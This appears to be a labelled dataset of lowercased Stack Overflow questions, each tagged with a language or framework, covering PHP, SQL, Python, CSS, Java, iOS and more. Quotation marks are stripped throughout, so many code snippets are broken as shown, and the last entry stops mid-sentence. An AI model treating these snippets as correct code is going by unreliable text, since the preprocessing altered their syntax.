explicit filepath to file in parent directory  i have a situation where i have two config files.<br> a base config which resides in a parent directory  and a sibling config in a sibling directory.<br> to date  the sibling looks to the parent with a simple    <pre><code>require_once  ../parent_config.php ; </code></pre>   however i now want to pass the sibling into a new class system. i can pass an explicit filepath for the sibling no problem  but obviously run into issues with the above call to the parent.<br> i m trying something along the line of the following but i m getting it wrong somewhere (i m trying to say take the explicit filepath  up one)   <pre><code>require_once (dirname(__file__) .  ../parent_config.php ); </code></pre>   i d appreciate your comments.<br> thanks<br> giles,php
sql select only first with a given name  houses   <pre><code>id ownerid    street ----------------------- 1  owner1     street1 2  owner2     street1 3  owner3     street2 4  owner4     street2 5  owner5     street3 </code></pre>   as you can see there can be more owners on the same street    i have another table where i want to insert the owners from <code>houses</code> table  but only one from each street    result of query:    table streetrepresentant   <pre><code>ownerid    street  ------------------ owner1     street1 owner3     street2 owner5     street3 </code></pre>   (<code>ownerid</code> is the pk for the table  if it matters. <code>ownerid</code> is a unique in table <code>houses</code>)    the query should be something like:   <pre><code>insert into streetrepresentant (ownerid   street )  select ownerid   street  from houses --what should be here to get only 1 owner for each street  ...  </code></pre>,sql
get average length of words using python reduce  i am attempting to get the average length of words in a file using reduce  but i am getting the following error  typeerror: object of type  int  has no len()  which i find baffling because the file is filled with words and i am simply getting the length of each   <pre><code>def averageword():     mywords =  open( myfile.txt    r ).read().split(   )     avg = (reduce(lambda x y: len(x) + len(y)  mywords)) / len(mywords)     print avg </code></pre>,python
custom tableview scroll indicator (ios)  i have an app which uses a tableview  and sometimes there can be as many as 100 items in this tableview.  thus  i have been assigned to customize this scroll indicator  so that it is easy for the user to scroll through their contents. to do this  i need to implement the following:    1) i need the scroll indicator to always show.    2) i need to change the scroll indicator from the ios default gray indicator to an orange one  and add a label in the middle of it which extends inward.  this label will have the date of the cell. as you scroll down in the scroll bar  the date changes to reflect where you are on the page. (see image for clarification).    3) when you click and hold this custom tableview s scroll indicator  it enables fast scrolling.      what is the best way to approach this   should i use a library     <a href= https://i.stack.imgur.com/mj9qe.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mj9qe.png  alt= enter image description here ></a>,ios
web.config.clr4 file  what is the use of web.config.clr4 file in asp.net web application   to be specific i came across it while examining tools developed by infragistics i.e in netadvantage product which provides tools like grid view  tab  tree view for developing web applications. as well  please help me with step wise solution to develop a tool from the scratch in asp.net using c#.,asp.net
html: box above picture  i want to have a black box that goes from side to side of the page above the body background photo. i just started html so i think this might be a bit of a basic question  but i just want to know the code for that certain task. thanks.,html
filter a list of objects based on dates  i have data class called transactionhistorydata and it conatins date field   <pre><code>        class transactionhistorydata        {         private date date;         private string currentbalance;         private string total;        // setter/getter         } </code></pre>   i have a list of transactionhistorydata   i want to group data based on the start date and end date  start date will be the new date() and end date will be one year before the new date.,java
ios development: interactive graph  <img src= https://i.stack.imgur.com/dgbu3.jpg  alt= enter image description here >    please take a look at the image above. the red circles represent user s touching motion. so if the user touched where the first circle is (to the left)  then there should be a graph that s skewed to the left. if user touched in the middle  a normally distributed graph. if the user touches the right part  the graph should be skewed right.    i am new to ios development and i am wondering how i can achieve such feature. any recommendation to suitable libraries  frameworks  documents will be greatly appreciated.,ios
class method that returns object and transfers ownership  <strong>[this is memory management clarification/question]</strong>   <ul> <li>i have a class method that returns an nsmutablearray*. </li> <li>i want the caller to own it and have to call release. </li> <li>i don t want to use autorelease because i want it freed from memory as soon as caller is done.</li> </ul>   is this ok to do as long as i start the name with new or alloc  correct     e.g.   <pre><code>+ (nsmutablearray*) newarrayfromdb {   nsmutablearray* myarray = [[nsmutablearray alloc] init];   //stuff to populate array   return myarray; } </code></pre>   then the caller will call with:   <pre><code> nsmutablearray* test = [thatclass newarrayfromdb];   //use test   [test release]; </code></pre>   the static analyzer seems to think it is ok...but i wanted a second opinion...    thanks for any feedback....,objective-c
access nsmutablearray from anotherclass <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11465286/retrieve-an-nsmutablearray-which-is-in-a-method-from-another-method-of-same-clas >retrieve an nsmutablearray which is in a method from another method of same class</a>    </blockquote>     i am new to iphone i have a small doubt that is i have an nsmutablearray which is in the class  downloadmanager.m like below   <pre><code>- (void) queuedownload: (download*) download {     [booktitleswhichareindownloadqueue addobject:download.title_];     nslog(@ booktitleswhichareindownloadqueue is %@  booktitleswhichareindownloadqueue); } </code></pre>   in the above method <code>booktitleswhichareindownloadqueue</code> is an nsmutablearray    i want to access this array in the method which is in another class(bibleplayerviewcontroller.m) that is the below method   <pre><code>-(void)showingalertviewwhenbookisnotdownloaded {  nslog(@ booknameswhichareindownloadedqueue1 is %d  [booknameswhichareindownloadedqueue count]); } </code></pre>   how it is possible if any body know this please help me...,iphone
limitation for client nodes in free sqlserver express  is there any limitation for client nodes in free sqlserver express. how many nodes it supports in multiuser environment,sql
broken <a> tag in asp.net  recently i m working on a website which is contain of galleries. i store the information of each album in a database and the i fetch them to create links containing field <code>albumid</code> with <code>eval( albumid )</code>. the code is exactly like below:   <pre><code>&lt;a href= /showalbum.aspx albumid=  + &lt;%# eval( albumid ) %&gt;&gt;&lt;%# eval( title ) %&gt;&lt;/a&gt; </code></pre>   which finally results in:   <pre><code>~/showalbum.aspx albumid= </code></pre>   the <code>albumid</code> is empty.    does anyone knows what is the problem,asp.net
how do i programmatically find ilasm.exe in .net 4.0   my program needs to call <code>ilasm</code>  but it keeps moving on me. is there a registry setting or some other value that my program can read so i don t need to hard code the path,.net
error noclassdeffounderror: sun/net/smtp/smtpclient  i m getting <code>noclassdeffounderror</code> while approving my document.    i have added <code>smtp jar</code> file  <code>mail.jar</code> and i am using <code>jboss 6</code>.    i am not able to find what is the issue if any one knows kindly let me know.,java
how to set five button in toolbar with same size   i am beginner of iphone i have working on all button set in toolbar with same size give any suggestion and source code,objective-c
why my code does not error out of range   i ve been trying this simple code and two-dimensional arrays in c there do not understand why my program does not fail.    it is assumed that the indices are out of range    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define row 20 #define cols 20  int main(int argc  char *argv[])  {     int x y;     int array[row][cols];             int cc = array[40][40];     return 0; } </code></pre>   regards,c
how can i make my mysql getting one record per month query faster   i have a big database with about 3 million records with records containing a time stamp.    now i want to select one record per month and it works using this query:   <pre><code>select timestamp  id  gas_used  kwh_used1  kwh_used2 from energy  group by month(timestamp) order by timestamp asc </code></pre>   it works but it is very slow.    i have indexes on <code>id</code> and on <code>timestamp</code>.    what can i do to make this query fast,mysql
stop deletion of admin where name like  string_name   i m trying to stop a particular admin from being removed from the database with ruby on rails i have tried a few things but heres the code as it stands    edit 2 changed user.name to @user.name    model   <pre><code>after_destroy :can_not_destroy_super_admin  private def can_not_destroy_super_admin     if @user.name ==  super admin          raise  can t delete this admin      end end </code></pre>   i think its a problem with user.name  but i know its seeing this code because i ve had errors raising issues with different code i ve tried in here.    i m aware that this is a relatively crude method for stopping deletion of an admin but it s a simple way of getting what i need done.    any suggestions or help is very much appreciated.    edit.1     here is the destroy method    controller   <pre><code>def destroy  @user = user.find(params[:id])  begin   @user.destroy   flash[:notice] =  user #{@user.name} deleted   rescue exception =&gt; e   flash[:notice] = e.message  end  respond_to do |format|   format.html { redirect_to users_url }   format.json { head :no_content }  end end </code></pre>,ruby-on-rails
difference between conditions in the same or separated where  a small and simple question  i have these 2 where example clauses:   <pre><code>product.where( name =   and is_done =      test  false)  product.where(name: test ).where(is_done:false) </code></pre>   i would rather use the second one because its more readable and easier to add more where if i want  now my question is: which one is faster  more secure and/or more recommended      thanks for yout answers =),ruby-on-rails
hover is not working on a class <pre><code>html &lt;body&gt;   &lt;div class= show &gt;     &lt;span&gt;hover here&lt;/span&gt;   &lt;/div&gt;   &lt;div class= hide &gt;     &lt;span&gt;it works&lt;/span&gt;   &lt;/div&gt; &lt;/body&gt;   css .hide{ background-color:grey; visibility:hidden;      } .show:hover .hide{ visibility:visible;      } </code></pre>   the hover function is not working for the class hide.why  and how can i fix this  <a href= https://jsfiddle.net/jet9gbwe/  rel= nofollow noreferrer > https://jsfiddle.net/jet9gbwe/</a>,css
how can i create the following ui in android   how can i make this kind of ui in android  are there any frameworks for ui designs     <img src= https://i.stack.imgur.com/hgmuw.png  alt= enter image description here >    please help me out!,android
using a method without defining it   i m following a tutorial about lambda  here i have this interface:   <pre><code>@functionalinterface public interface comparator&lt;t&gt; {  public int compare(t t1  t t2); // what is this code     public default comparator&lt;t&gt; thencomparing(comparator&lt;t&gt; cmp) {         return (p1  p2) -&gt; compare(p1  p2) == 0   cmp.compare(p1  p2) : compare(p1  p2) ;     } public default comparator&lt;t&gt; thencomparing(function&lt;t  comparable&gt; f) {          return thencomparing(comparing(f)) ;     }      public static &lt;u&gt; comparator&lt;u&gt; comparing(function&lt;u  comparable&gt; f) {          return (p1  p2) -&gt;  f.apply(p1).compareto(f.apply(p2));     } } </code></pre>   the abstract method compare(t1  t2) is not defined anywhere; however  it is used in the thencomparing(comparator cmp) method. this thencomparing method then is used in the overloaded thencomparing() below. but if the compare() is not defined  what is the point of this line:   <pre><code>return (p1  p2) -&gt; compare(p1  p2) == 0   cmp.compare(p1  p2) : compare(p1  p2) ; </code></pre>,java
check if all chars match   basically  i have to write a method that determines whether all the characters in a string are the same  using only library string methods.,java
"when i have long text  i have to make text-indent except first line  i have a problem with text-indent.    here is the image <strong>what i want to make.</strong>    <a href= https://i.stack.imgur.com/i7kw2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/i7kw2.png  alt= enter image description here ></a>    i don t want to use <code>&lt;li&gt;</code>.     i want to make custom list style.    here is my code. <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.dotted-style{
   width: 200px;
   word-break: break-all;
 }
 
 .dotted-style::before{
   display: inline-block;
   content:   ;
   width: 4px;
   height: 4px;
   background-color: gray;
   border-radius: 100%;
   margin: auto 5px;
   vertical-align: middle;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p class= dotted-style &gt;lorem ipsum dolor sit amet consectetur  adipisicing elit. possimus aliquam non aspernatur reprehenderit  velit  laboriosam harum aut dolorum  quasi a iure maiores. eos laboriosam exercitationem quasi magni doloribus fuga rerum 
 &lt;/p&gt;</code></pre>
 </div>
 </div>",css
is it possible to return value with javascript:window.print()   i m trying to save the value as <code>1</code> if it succeed (return true) and <code>0</code> it it failed (return false) in the database.,javascript
inserting array into a php file  this might be very silly but we have not been able to do this .     we are trying to insert an array into a php file . however we are able to insert the array into a php file but the format is not as desired . we have 2 files .     file1.php   <pre><code>&lt; php include_once( ../dc/dccommonlib.php ); include_once( ../dc/persistence/userdata.php ); require_once( ../../lib/include/connect.inc.php );  $_session[ survey ] =  bestbuyaug2012 ; $idlink = dbconnect($_session[ survey ]); $surveywidget = renderersurveyloadhandler(); setdatatosession( surveywidget  $surveywidget); $userdata = &amp;userdata::getinstance(); $userdata-&gt;setsurvey($surveywidget); savefkidstooidtofkidmappingarray($userdata-&gt;oidtofkidmapping);  // prepare demo array prepareitemarray($userdata-&gt;oidtofkidmapping[ demographic ][ q ] $demo  b );  // prepare item array prepareitemarray($userdata-&gt;oidtofkidmapping[ default ][ q ] $item  i ); prepareitemarray($userdata-&gt;oidtofkidmapping[ default ][ m ] $item  i );  // prepare comment array preparecommentarray($userdata-&gt;oidtofkidmapping[ comment ][ c ] $comment);  if(!function_exists( file_put_contents )) {     function file_put_contents($filename  $data $type  $file_append = false) {       $fp = fopen($filename  (!$file_append    w+  :  a+ ));         if(!$fp) {           trigger_error( file_put_contents cannot write in file.   e_user_error);           return;         }     if($type){      $count = count($data);     $i = 1;     //loop through your type array and append comma   to each except last     foreach($data as $key=&gt;$val) {       //if we are before last key  append comma          if($i &lt; $count)           $data[$key] .=    ;         $i++;     }      //run same preg_replace as before     $data2 = preg_replace( /[\[\]]/      print_r($data true));      //write to file      fputs($fp   $  . $type .   =   . print_r($data2 true));        }      else {         fputs($fp  print_r($data  true));       }       fclose($fp);     } } print( strart writting ................... ); file_put_contents( staticsurveydatafiletest.php    &lt; php\n     true); file_put_contents( staticsurveydatafiletest.php   $item  itemfkids  true); file_put_contents( staticsurveydatafiletest.php   $demo  demofkids  true); file_put_contents( staticsurveydatafiletest.php   $comment  commentfkids  true); file_put_contents( staticsurveydatafiletest.php     &gt;     true); print( written ... );  function prepareitemarray($userdataarray  &amp;$item  $itemstr) {     if(is_array($userdataarray)) {         foreach($userdataarray as $questid=&gt;$respgrp) {             $selectiongrp=array_unique($respgrp);             if(count($selectiongrp)==1) {                 $respgrpid=key($respgrp);                 $respid = key($respgrp[$respgrpid]);                 $item[$questid. _ .key($respgrp)]=$itemstr.$respgrp[$respgrpid][$respid];                        }else {                 foreach ($respgrp as $respgrpid=&gt;$resp) {                     $respgrp[$respgrpid]=$itemstr.$resp;                 }                 $item[$questid. _ .key($respgrp)]=$respgrp;             }         }     }    }  function preparecommentarray($userdataarray  &amp;$item) {     if(is_array($userdataarray)) {         foreach($userdataarray as $questid=&gt;$respgrp) {             $selectiongrp=array_unique($respgrp);             if(count($selectiongrp)==1) {                 $respgrpid=key($respgrp);                                $item[$questid. _ .key($respgrp)]=$respgrp[$respgrpid][ fk_id ];                         }         }     }    }   &gt; </code></pre>   the array from this file is inserted into staticsurveydatafiletest.php    staticsurveydatafiletest.php   <pre><code>&lt; php $itemfkids = array (      203_19  =&gt; i27 //double quotes missing for all the lines . see below for desired output//      207_22  =&gt; i28       357_22  =&gt; i99       370_70  =&gt; i104       377_72  =&gt; i105       140_8  =&gt; i1       141_8  =&gt; i2       142_8  =&gt; i3       143_8  =&gt; i4       144_8  =&gt; i5       145_8  =&gt; i6       151_8  =&gt; i7       152_8  =&gt; i8       158_8  =&gt; i9       164_8  =&gt; i10       165_8  =&gt; i11       166_8  =&gt; i12       167_8  =&gt; i13       168_8  =&gt; i14       169_8  =&gt; i15       175_8  =&gt; i16       176_8  =&gt; i17       182_8  =&gt; i18       183_8  =&gt; i19       184_8  =&gt; i20       190_8  =&gt; i21       196_8  =&gt; i22       197_8  =&gt; i23       198_8  =&gt; i24       199_8  =&gt; i25       200_8  =&gt; i26       214_8  =&gt; i29       215_8  =&gt; i30       216_8  =&gt; i31       222_8  =&gt; i32       223_8  =&gt; i33       224_8  =&gt; i34       225_8  =&gt; i35       226_8  =&gt; i36       227_8  =&gt; i37       233_8  =&gt; i38       234_8  =&gt; i39       235_8  =&gt; i40       236_8  =&gt; i41       237_8  =&gt; i42       243_8  =&gt; i43       244_8  =&gt; i44       245_8  =&gt; i45       251_8  =&gt; i46       252_8  =&gt; i47       253_8  =&gt; i48       254_8  =&gt; i49       255_8  =&gt; i50       256_8  =&gt; i51       257_8  =&gt; i52       263_8  =&gt; i53       264_8  =&gt; i54       265_8  =&gt; i55       266_8  =&gt; i56       267_8  =&gt; i57       268_8  =&gt; i58       269_8  =&gt; i59       270_8  =&gt; i60       271_8  =&gt; i61       272_8  =&gt; i62       278_8  =&gt; i63       279_8  =&gt; i64       280_8  =&gt; i65       281_8  =&gt; i66       282_8  =&gt; i67       283_8  =&gt; i68       289_8  =&gt; i69       290_8  =&gt; i70       296_8  =&gt; i71       297_8  =&gt; i72       298_8  =&gt; i73       299_8  =&gt; i74       300_8  =&gt; i75       301_8  =&gt; i76       307_8  =&gt; i77       308_8  =&gt; i78       309_8  =&gt; i79       310_8  =&gt; i80       311_8  =&gt; i81       312_8  =&gt; i82       313_8  =&gt; i83       314_8  =&gt; i84       315_8  =&gt; i85       316_8  =&gt; i86       317_8  =&gt; i87       318_8  =&gt; i88       324_26  =&gt; i89       328_37  =&gt; i90       332_48  =&gt; i91       338_59  =&gt; i92       344_59  =&gt; i93       345_59  =&gt; i94       351_8  =&gt; i95       352_8  =&gt; i96       353_8  =&gt; i97       354_8  =&gt; i98       364_8  =&gt; i100       365_8  =&gt; i101       366_8  =&gt; i102       367_8  =&gt; i103  )//comma missing $demofkids = array (      129_2  =&gt; b1 )//comma missing $commentfkids = array (      373_375  =&gt; 1       380_382  =&gt; 2 )//comma missing  &gt; </code></pre>   we need to insert a file something like this     desired output   <pre><code>&lt; php     $itemfkids = array     (          203_19  =&gt;  i27  //notices the double quotes here          207_22  =&gt;  i28            357_22  =&gt;  i99           .         .         .          .         . .      ) //notice a comma here     $demofkids = array     (          129_2  =&gt;  b1 //notices the double quotes here     ) //notice a comma here     $commentfkids = array     (          373_375  =&gt;  1            380_382  =&gt;  2 //notices the double quotes here     ) //notice a comma here      &gt; </code></pre>   thanks for your help in advance :),php
"css change overflow with delay  hey i have a  spoiler  which should be animated and scrollable. the only problem is that the scrollbar should only be shown after the transition.    example code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#spoiler{
   font-size:50px; 
   max-height:0px; 
   overflow:hidden; 
   transition:3s;
 }
 input#spoilerbox:checked ~ #spoiler{
   max-height:200px; 
   overflow:auto
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 
 &lt;html&gt;
   &lt;head&gt;
    &lt;title&gt;spoiler&lt;/title&gt;
   &lt;/head&gt;
 
      &lt;body&gt;
        &lt;input type= checkbox  id= spoilerbox /&gt;&lt;label for= spoilerbox &gt;spoiler&lt;/label&gt;
 
        &lt;div id= spoiler &gt;
          text&lt;br&gt;
          to spoiler
         &lt;/div&gt;
       &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
jquery delegation with facebox  <strong>hi  i am not sharing code. the problem is in this code please take a look. (problem: i want to open facebox every time when post even come from ajax facebox is not working properly. i want to ask how to use jquery delegation event with this event  )</strong>   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;link rel= stylesheet  href= facebox/facebox.css  type= text/css  /&gt;     &lt;/head&gt; &lt;body&gt;  &lt;ul id= items &gt;     &lt;li&gt; &lt;a href= # &gt; clone object &lt;/a&gt; &lt;/li&gt;     &lt;li&gt; &lt;a href= #test  rel= facebox &gt; click to open facebox &lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;div id= test  style= display:none; &gt;this is my test div&lt;/div&gt;  &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= facebox/facebox.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt;      jquery( a[rel*=facebox] ).facebox();      $( #items li ).delegate( a    click   function(){         $(this).parent().append( &lt;li&gt;&lt;a href= #test  rel= facebox &gt; new element ( problem: it should open facebox) &lt;/a&gt;&lt;/li&gt; );         return false;     });  &lt;/script&gt;   &lt;/bdoy&gt; &lt;/html&gt; </code></pre>,jquery
get filename with pure extension  i m coding a script to get image from a site. all is good  but then i notice there are some sites which have images in format like this:   <pre><code>http://site-name/images/dude-i-m-batman.jpg 1414151413 http://site-name/images/dude-i-m-batman.jpg w=300 </code></pre>   right now i m dealing with it by doing   <pre><code>$file = substr($media 0  strrpos($image   . ) + 4); </code></pre>   i m just wondering whether it s a good practice or there s a better way.    i ve tried pathinfo and a couple other methods  but all return extension with the query string.    thanks,php
css - fill remaining height (dynamic content) <pre><code>&lt;div id= header &gt;     &lt;div&gt;my&lt;/div&gt;     &lt;div&gt;header&lt;/div&gt; &lt;/div&gt; &lt;div id= content &gt;&lt;/div&gt; </code></pre>   in the above markup  how can i get the content to fill the rest of the screen (no-scrolling)  i know how to do this with absolute positions if the header was of a fixed height  but my header s height is dynamically set by its contents (so the site is responsive on mobile devices.)    btw: i m looking for a css only solution  because i think javascript is not made for this kind of task.    thanks a lot,css
c++ inheriting member functions of the same type signature (shadowing) <pre><code> // shadowing   #include &lt;iostream&gt;  using namespace std;  const int mname = 30;  const int m  = 13;   class person {   // base class      char person[mname+1];    public:      void set(const char* n);      void display(ostream&amp;) const;    protected:      const char* name() const;  };   void person::set(const char* n) {      strncpy(person  n  mname);      person[mname] =  \0 ;  }   void person::display(ostream&amp; os) const {      os &lt;&lt; person &lt;&lt;    ;  }   const char* person::name() const { return person; }   class student : public person { // derived      int no;      char grade[m+1];    public:      student();      student(int  const char*);      void display(ostream&amp;) const;  };   student::student() {      no = 0;      grade[0] =  \0 ;  }   student::student(int n  const char* g) {      // see p.61 for validation logic      no = n;      strcpy(grade  g);  }   void student::display(ostream&amp; os) const {      os &lt;&lt; name() &lt;&lt;             &lt;&lt; no &lt;&lt; &lt;&lt;     &lt;&lt; grade &lt;&lt; endl;  }   int main() {      person person;      student student(975   abbad );       student.set( harry );      student.display(cout); // harry 975 abbad       person.set( jane doe );      person.display(cout); // jane doe  } </code></pre>  <blockquote>    the first call to display() (on student) calls the student version of   display().  the second call to display() (on person) calls the person   version of display().  the derived version of display() shadows the   base version on the student object.  the base version executes on the   person object.  </blockquote>   i don t understand what shadowing is then. i realize that both classes have the same display function defined  and obviously if you call student.display and person.display its going to call them accordingly. so what does this mean:     <blockquote>    the derived version of display() shadows the base version on the   student object.  the base version executes on the person object.  </blockquote>   i don t understand shadowing.    source: <a href= https://scs.senecac.on.ca/~btp200/pages/content/dfunc.html  rel= nofollow >https://scs.senecac.on.ca/~btp200/pages/content/dfunc.html</a> inheritance - functions of a derived class,c++
using open function and loops in python  i want to use the loop function to give 5 strings:  article 1    article 2  and so on... after this i would like to fetch the information below the articles that come in a text file. for example:   <pre><code>article 1. it is not good to eat pizza after midnight article 2. i wouldn t survive a day withouth stackexchange article 3. all of these are just random phrases article 4. to prove if my experiment works. article 5. the red dog jumps over the lazy fox </code></pre>   the purpose of this is to separate each article in order to export it later as chunks of data in the same text format. here is what i have:   <pre><code>n=0 while n &lt; 5:   n = n + 1   a = ( article %(number)s  % { number : n})   print(a) with open( lisr2.txt ) as openfile:   for line in openfile:     if a in line:        print(line) </code></pre>   but what i get is   <pre><code>c:\users\rafael\appdata\local\programs\python\python35-32\python.exe  article 1 article 2 article 3 article 4 article 5 article 5. the red dog jumps over the lazy fox </code></pre>   is this the right approach to what i am trying to do  or do i just need to change a bit of my code syntax,python
replacing a letter in a string into another letter  so after i learnt c completely i ll make a program which save the password of the user in their computer(local)  but saving password in local is dangerous since the people who know where is the password saved can get the password easily i am tying to code a encoder that replace every letter with a specific letter. (example:  a  into  1 ) so i tried the code at ideone.com: (since i am not nearby my computer but a smartphone)   <pre><code>#include &lt;stdio.h&gt;  int main() {     char input;      scanf( %c   &amp;input);     encode(input);     printf( %c   input);      return 0; }  void encode(char input) {     char a =  a ;     char a =  a ;      a =  1 ;     a =  2 ; } </code></pre>   it should be displayed as  12  if i entered  aa   but of course it only display an  a  since a char only save the first word into the variable. i did tried using the [10] after the char but i got the error  and without it it only display an  a  which didn t being replaced. please answer me asap.,c
problems with empty activity on android studio  i would really appreciate if someone can help me with my problem:    i am using <em>android studio</em>. i want to create the simplest of apps: just a  hello world  would be ok.     so i start by creating a new app with an <em>empty activity</em>  (so far i was using a  blank activity  but as you know  they are different.     so i create the basic code (and i find several problems -for example  cant resolve symbol appcompatactivity- but i dont know how  it got solved...and then i have other problems..etc but...)    so  i finally get a  hello world  app  with everything ready to run. all errors corrected  by magic - i mean really... anyway i push the run button.(i am using genimotion by the way cause the native emulator is another problem!) and it starts to run    and i wait.... and wait.... and wait....    it never runs. i can see  gradle processes running      so i *stop * (by clicking run-> stop) the gradle processes seem to stop     and then the app finally runs succesfully and load into the genimotion emulator and i can run without problems...    so my question is: what is happening here  why do i have to stop in order to run       thanks a lot for any useful help you can give me,android
what does  &  means in operator overloading  the following is a sample code for operator overloading. what does the  &amp;  means in the syntax    <pre><code>complx operator+(const complx&amp;) const;   </code></pre>  <hr>  <pre><code>#include &lt;iostream&gt; using namespace std; class complx {       double real               imag; public:       complx( double real = 0.  double imag = 0.); // constructor       complx operator+(const complx&amp;) const;       // operator+() };  // define constructor complx::complx( double r  double i ) {       real = r; imag = i; }  // define overloaded + (plus) operator complx complx::operator+ (const complx&amp; c) const {       complx result;       result.real = (this-&gt;real + c.real);       result.imag = (this-&gt;imag + c.imag);       return result;  }  int main() {       complx x(4 4);       complx y(6 6);       complx z = x + y; // calls complx::operator+() } </code></pre>,c++
asp datasource select ordering  the following asp code is displaying the data in assending order by the field principal_id  i would like to do it in an alphbetical order by schoolname. does anyone know how i can achieve this   <pre><code>&lt;asp:panel id= show_pnl  runat= server  runat= server   groupingtext= show principal  width= 100%  font-names= verdana              font-size= small  backcolor= white  align=center  bordercolor= white  borderpadding= 0  borderstyle= none  borderwidth= 0px &gt;&gt;             &lt;asp:gridview id= gridview1  runat= server  autogeneratecolumns= false  datasourceid= showprincipals_ds                  datakeynames= schoolname  cssclass= mgrid  pagerstyle-cssclass= pgr  alternatingrowstyle-cssclass= alt                  font-size= small  font-names= verdana  height= 100%  width= 100%  autogeneratedeletebutton= true &gt;                 &lt;columns&gt;                     &lt;asp:boundfield datafield= principal_id  headertext= principal id  sortexpression= principal_id  /&gt;                     &lt;asp:boundfield datafield= firstname  headertext= first name  sortexpression= firstname  /&gt;                     &lt;asp:boundfield datafield= lastname  headertext= last name  sortexpression= lastname  /&gt;                     &lt;asp:boundfield datafield= username  headertext= user name  sortexpression= username  /&gt;                     &lt;asp:boundfield datafield= email  headertext= email  sortexpression= email  /&gt;                     &lt;asp:boundfield datafield= schoolname  headertext= school name  sortexpression= schoolname  /&gt;                 &lt;/columns&gt;                 &lt;pagerstyle cssclass= pgr  /&gt;                 &lt;emptydatatemplate&gt;                     no data available                 &lt;/emptydatatemplate&gt;                 &lt;alternatingrowstyle cssclass= alt  /&gt;             &lt;/asp:gridview&gt;             &lt;asp:accessdatasource id= showprincipals_ds  runat= server  datafile= ~/app_data/mockcourt_db.mdb                  selectcommand= select tbl_principal.principal_id  tbl_principal.firstname  tbl_principal.lastname  tbl_principal.username  tbl_principal.email  tbl_school.schoolname from (tbl_principal inner join tbl_school on tbl_principal.school_id = tbl_school.school_id)                  deletecommand= delete from [tbl_principal] where ([principal_id] = @principal_id) &gt;                 &lt;deleteparameters&gt;                     &lt;asp:parameter name= principal_id  type= int32  /&gt;                 &lt;/deleteparameters&gt;             &lt;/asp:accessdatasource&gt;         &lt;/asp:panel&gt; </code></pre>,asp.net
cannot compile class - illegal start of expression  i m trying to write a class that utilizes three other classes.   <pre><code>public class employee { private name name; private address address; private date date; // define data fields  public employee( string name1  string name2  string street  string city  string state  string zip   int month  int day  int year)     {     name name = new name( name1   name2 );     address address = new address( street  city  state  zip);     date date = new date();     date.setdate( month   day  year );     } // constructor  public string getname1()     {     string name1 = name.getfirstname();     return name1;     } // first name getter  public string getname2()     {     string name2 = name.getlastname();     return name2;     }  public string getstreetname()     {     string street = address.getstreet();     return street;     } // street getter  public string getcityname()     {     string city = address.getcity();     return city;     } // street getter  public string getstatename()     {     string state = address.getstate();     return state;     } // street getter  public string getzipcode()     {     string zip = address.getzip();     return zip;     } // street getter  public string getdate()     {     string time = date.getdatestring();     return time;     } } </code></pre>   when i attempt to compile it  each method past the first three is met with the same compile error:   <pre><code>employee.java:32: error: illegal start of expression public string getstreetname() ^  employee.java:32: error:  ;  expected public string getstreetname()                            ^ </code></pre>   looking over the code  i can t identify what could possibly prevent this class from functioning. the other three classes do compile and function without error.,java
why stackoverflow s google prettifier works with <body>  <html> e.t.c tags in <code> or <pre> tag   i asked a question before why the <code>&lt;code&gt;</code> tag does not support <code>&lt;html&gt;  &lt;head&gt;  &lt;body&gt;</code> tags. but answer i got was that it is not supported. a few days back  in meta.stackoverflow.com  i saw a question about stackoverflow s code highlighter (some issue). someone  answered that it is google prettifier. i noticed it and remembered it. as google prettifier  also recommends to use <code>&lt;code&gt;</code> or <code>&lt;pre&gt;</code> tags for code prettifying. then how stackoverflow s code tag support all html tags to display it as code,html
find duplicates  you are given an array of elements. some/all of them are duplicates. find them in 0(n) time and 0(1) space. property of inputs - number are in the range of 1..n where n is the limit of the array.,objective-c
how to validate tinymce text editor using jquery validation   i am using tinymce text editor for text editor option in php.i plan to enable client side validation all fields are validated except tinymce editor(textarea).,jquery
the difference between constructors  i am working through testfirst javascript and hit a wall of confusion.  both of these code snippets pass the tests but i am confused on the difference or if there is even a main difference between these two solutions.  overall  i believe what the test is asking me to create is a  constructor  function.    tests cases:    <pre><code>describe( calculator   function() {    var calculator;    beforeeach(function() {     calculator = new calculator();   });    it( initially has 0   function() {     expect(calculator.value()).toequal(0);   });      it( can add a number   function() {         calculator.add(2);     expect(calculator.value()).toequal(2);     });      it( can add two numbers   function() {         calculator.add(2);         calculator.add(3);     expect(calculator.value()).toequal(5);     });      it( can add many numbers   function() {         calculator.add(2);         calculator.add(3);         calculator.add(4);     expect(calculator.value()).toequal(9);     });      it( can subtract a number   function() {         calculator.subtract(2);     expect(calculator.value()).toequal(-2);     });      it( can add and subtract   function() {         calculator.add(3);         calculator.subtract(2);     expect(calculator.value()).toequal(1);     }); }); </code></pre>   solution 1:   <pre><code>var calculator = function(){    this.accumulator = 0;    this.value = function(){     return this.accumulator;   };    this.add = function(operand){     this.accumulator += operand;   };    this.subtract = function(operand){     this.accumulator -= operand;   };  }; </code></pre>   solution 2:   <pre><code>function calculator() {     this.num = 0; };  calculator.prototype = {     value: function() {         return this.num;     }      add: function() {         for (var i = 0; i &lt; arguments.length; i++){             this.num += arguments[i];         }     }      subtract: function() {         for (var i = 0; i &lt; arguments.length; i++){             this.num -= arguments[i];         }            } }; </code></pre>   my main question is in solution 1  this is a constructor function.  what i don t know is if when we create a new calculator with it  ex:   <pre><code>var calculatorsolone = new calculator(); </code></pre>   are all the properties on calculatorsolone or are they inheriting these properties from the prototype of calculator     using solution 2 